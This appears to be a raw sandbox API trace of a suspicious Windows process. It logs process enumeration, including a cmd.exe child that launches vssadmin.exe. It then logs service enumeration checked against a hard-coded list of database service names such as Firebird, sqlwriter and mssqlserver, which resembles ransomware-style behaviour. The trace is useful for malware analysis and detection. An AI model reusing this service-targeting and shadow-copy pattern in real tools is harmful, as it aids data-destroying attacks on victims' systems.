1 [0219.970] lstrlenW (lpString="taskhost.exe") returned 12 [0219.970] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.971] lstrlenW (lpString="svchost.exe") returned 11 [0219.971] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0219.972] lstrlenW (lpString="taskeng.exe") returned 11 [0219.972] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0219.973] lstrlenW (lpString="taskhost.exe") returned 12 [0219.973] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0219.974] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0219.974] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0219.975] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0219.975] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0219.976] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0219.976] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0219.977] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0219.977] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0219.978] lstrlenW (lpString="always_winds.exe") returned 16 [0219.978] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0219.978] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0219.979] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0219.979] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0219.979] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0219.980] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0219.980] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0219.981] lstrlenW (lpString="alienwed.exe") returned 12 [0219.981] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0219.982] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0219.982] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0219.983] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0219.983] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0219.984] lstrlenW (lpString="mp beginners.exe") returned 16 [0219.984] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0219.985] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0219.985] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0219.986] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0219.986] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0219.987] lstrlenW (lpString="harassment.exe") returned 14 [0219.987] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0219.988] lstrlenW (lpString="francis-communication.exe") returned 25 [0219.988] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0219.989] lstrlenW (lpString="gccinformational.exe") returned 20 [0219.989] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0219.990] lstrlenW (lpString="diploma.exe") returned 11 [0219.990] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0219.991] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0219.991] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.992] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0219.992] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.993] lstrlenW (lpString="svchost.exe") returned 11 [0219.993] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0219.994] lstrlenW (lpString="sppsvc.exe") returned 10 [0219.994] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.994] lstrlenW (lpString="svchost.exe") returned 11 [0219.995] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0219.995] lstrlenW (lpString="qnuriy.exe") returned 10 [0219.995] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0219.996] lstrlenW (lpString="cmd.exe") returned 7 [0219.996] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0219.997] lstrlenW (lpString="conhost.exe") returned 11 [0219.997] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0219.998] lstrlenW (lpString="vssadmin.exe") returned 12 [0219.998] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.999] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0219.999] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0220.000] lstrlenW (lpString="VSSVC.exe") returned 9 [0220.000] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.001] lstrlenW (lpString="svchost.exe") returned 11 [0220.001] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0220.002] CloseHandle (hObject=0x1b0) returned 1 [0220.002] Sleep (dwMilliseconds=0x1f4) [0220.597] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5700b0 [0220.597] EnumServicesStatusExW (in: hSCManager=0x5700b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0220.597] GetLastError () returned 0xea [0220.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x142e) returned 0x3f1c0d8 [0220.597] EnumServicesStatusExW (in: hSCManager=0x5700b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f1c0d8, cbBufSize=0x142e, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f1c0d8, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0220.598] CloseServiceHandle (hSCObject=0x5700b0) returned 1 [0220.598] lstrlenW (lpString="Appinfo") returned 7 [0220.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0220.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0220.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0220.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0220.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0220.598] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0220.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0220.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0220.599] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0220.599] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0220.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0220.599] lstrlenW (lpString="AudioSrv") returned 8 [0220.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0220.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0220.599] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0220.599] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0220.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0220.599] lstrlenW (lpString="BFE") returned 3 [0220.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0220.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0220.599] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0220.599] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0220.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0220.599] lstrlenW (lpString="CryptSvc") returned 8 [0220.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0220.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0220.599] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0220.599] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0220.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0220.599] lstrlenW (lpString="CscService") returned 10 [0220.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0220.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0220.599] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0220.600] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0220.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0220.600] lstrlenW (lpString="DcomLaunch") returned 10 [0220.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0220.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0220.600] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0220.600] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0220.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0220.600] lstrlenW (lpString="Dhcp") returned 4 [0220.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0220.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0220.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0220.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0220.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0220.600] lstrlenW (lpString="Dnscache") returned 8 [0220.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0220.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0220.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0220.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0220.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0220.600] lstrlenW (lpString="DPS") returned 3 [0220.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0220.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0220.600] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0220.600] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0220.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0220.600] lstrlenW (lpString="eventlog") returned 8 [0220.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0220.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0220.601] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0220.601] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0220.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0220.601] lstrlenW (lpString="EventSystem") returned 11 [0220.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0220.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0220.601] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0220.601] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0220.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0220.601] lstrlenW (lpString="FontCache") returned 9 [0220.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0220.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0220.601] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0220.601] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0220.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0220.601] lstrlenW (lpString="gpsvc") returned 5 [0220.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0220.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0220.601] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0220.601] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0220.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0220.601] lstrlenW (lpString="iphlpsvc") returned 8 [0220.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0220.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0220.602] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0220.602] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0220.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0220.602] lstrlenW (lpString="LanmanServer") returned 12 [0220.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0220.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0220.602] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0220.602] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0220.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0220.602] lstrlenW (lpString="LanmanWorkstation") returned 17 [0220.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0220.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0220.602] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0220.602] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0220.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0220.602] lstrlenW (lpString="lmhosts") returned 7 [0220.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0220.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0220.602] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0220.602] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0220.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0220.602] lstrlenW (lpString="MMCSS") returned 5 [0220.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0220.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0220.602] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0220.603] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0220.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0220.603] lstrlenW (lpString="MpsSvc") returned 6 [0220.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0220.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0220.603] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0220.603] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0220.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0220.603] lstrlenW (lpString="Netman") returned 6 [0220.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0220.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0220.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0220.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0220.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0220.603] lstrlenW (lpString="netprofm") returned 8 [0220.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0220.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0220.603] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0220.603] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0220.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0220.603] lstrlenW (lpString="NlaSvc") returned 6 [0220.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0220.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0220.603] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0220.603] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0220.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0220.604] lstrlenW (lpString="nsi") returned 3 [0220.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0220.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0220.604] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0220.604] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0220.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0220.604] lstrlenW (lpString="PcaSvc") returned 6 [0220.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0220.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0220.604] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0220.604] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0220.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0220.604] lstrlenW (lpString="PlugPlay") returned 8 [0220.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0220.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0220.604] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0220.604] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0220.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0220.604] lstrlenW (lpString="Power") returned 5 [0220.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0220.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0220.604] lstrcmpiW 